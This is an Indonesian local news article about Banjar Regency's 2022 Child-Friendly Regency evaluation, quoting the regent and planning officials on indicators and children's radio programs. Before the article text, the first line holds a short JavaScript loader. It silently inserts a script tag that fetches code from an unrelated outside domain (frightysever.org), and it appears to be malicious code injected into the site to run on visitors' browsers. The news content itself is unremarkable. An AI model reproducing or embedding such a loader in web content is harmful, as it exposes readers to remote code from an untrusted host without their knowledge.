(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur mengikuti Verifikasi Lapangan Hybrid (VLH) Kabupaten/Kota Layak Anak (KLA) tahun 2022 oleh Kementerian PPPA yang berlangsung di Aula Barakat, Martapura, Kabupaten Banjar, Selasa (31/5/2022) pagi kemarin.
Menurut Saidi, pelaksanaan evaluasi Kabupaten Layak Anak (KLA) merupakan momen penting. Hal itu terkait dengan evaluasi program-program yang telah dicanangkan dan ditetapkan untuk menciptakan Sumber Daya Manusia (SDM) berkualitas tinggi di masa depan.
Bupati menjelaskan, guna mewujudkan semua itu perlu merapatkan barisan, menyamakan persepsi dan langkah.
Dengan begitu, kebijakan dan program yang disusun benar-benar saling bersinergi, mengisi dan tidak tumpang tindih.
“Kebijakan KLA bertujuan untuk menyinergikan sumber daya pemerintah, masyarakat dan dunia usaha sehingga hak-hak anak dapat lebih dipastikan,” katanya.
Selama kurun waktu tersebut, telah dihasilkan beberapa kegiatan yang mengantarkan Kabupaten Banjar meraih penghargaan Predikat Pratama KLA dalam 3 tahun berturut-turut sejak 2019, 2020 dan 2021.
“Prestasi tersebut dapat kita raih, tentunya berkat kerja keras dari semua pihak. Semoga melalui evaluasi ini, pengembangan KLA ke depan bisa ditingkatkan agar Kabupaten Banjar kembali meraih penghargaan yang lebih tinggi,” ujar dia.
Bupati mengingatkan Bappedalitbang Kabupaten Banjar juga berperan aktif terutama dalam mengoordinasikan agar pembangunan anak dapat dilakukan secara lebih holistik, integratif dan berkelanjutan.
“Oleh karena itu kami sangat berharap penguatan koordinasi para stakeholder dapat terus ditingkatkan melalui mekanisme gugus tugas yang telah dibentuk,” harap dia.
Kepala Bappedalitbang Banjar, HM Riza Dauly menyampaikan, KLA terdiri dari 24 indikator yang didasarkan pada substansi hak-hak anak yang tentu sudah diamanatkan Undang Undang.
Baca juga: Tahura Sultan Adam Mandiangin Siap Hadirkan Paralayang
Substansi hak-hak anak tersebut dikelompokkan dalam 5 kluster, yakni hak sipil dan kebebasan, lingkungan keluarga dan pengasuhan alternatif, kesehatan dasar dan kesejahteraan, pendidikan pemanfaatan waktu luang dan kegiatan seni budaya serta perlindungan khusus.
“Dari 24 indikator dengan 5 kluster ini, kita mencoba memenuhi setiap indikator tersebut dengan standart atau yang sudah ditetapkan oleh kementerian,” ucap dia.
Riza Dauly yang juga sebagai Ketua Gugus Tugas KLA menjelaskan, ketersediaan fasilitas Informasi Layak Anak (ILA) yang telah diupayakan pihaknya, salah satunya dengan penyebaran informasi melalui Dinas Komunikasi Informatika Statistik dan Persandian (DKISP) Banjar.
Itu misalnya Program Radio Sahabat Anak (RAHATAN) di LPPL Radio Suara Banjar, serta peran DKISP Banjar dengan Dinas Pendidikan melalui LPPL Radio Suara Banjar dengan Program Wadah Belajar (WAJAR).
“Program tersebut merupakan salah satu inovasi pada saat pandemi, tetap menyelenggarakan pembelajaran melalui siaran radio yang dapat dijangkau di seluruh wilayah Kabupaten Banjar,” pungkas dia. (kanalkalimantan.com/bappedalitbang)
Editor: Dhani
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More
KANALKALIMANTAN.COM, PANGKALAN BUN - Malam yang seharusnya tenang di Desa Pangkalan Banteng, Kabupaten Kotawaringin Barat… Read More
This website uses cookies.